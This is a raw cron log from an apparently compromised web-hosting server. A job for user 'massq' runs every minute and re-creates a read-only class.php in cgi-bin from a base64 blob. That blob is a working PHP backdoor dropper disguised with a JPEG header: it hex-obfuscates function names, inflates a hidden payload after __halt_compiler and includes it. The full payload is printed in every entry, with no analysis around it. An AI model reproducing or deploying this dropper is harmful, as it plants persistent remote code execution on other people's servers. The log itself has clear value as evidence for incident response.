"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:41:01 server CROND[3764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:42:01 server CROND[3813]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 07:42:01 server CROND[3814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:43:01 server CROND[3865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:44:01 server CROND[3928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:45:01 server CROND[3984]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 07:45:01 server CROND[3986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 07:45:01 server CROND[3987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:46:01 server CROND[4190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:47:01 server CROND[4238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:48:02 server CROND[4283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:49:01 server CROND[4345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:50:01 server CROND[4407]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 07:50:01 server CROND[4408]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 07:50:01 server CROND[4409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 07:50:01 server CROND[4411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:50:01 server CROND[4410]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 07:51:01 server CROND[4616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:52:01 server CROND[4663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:53:01 server CROND[4713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
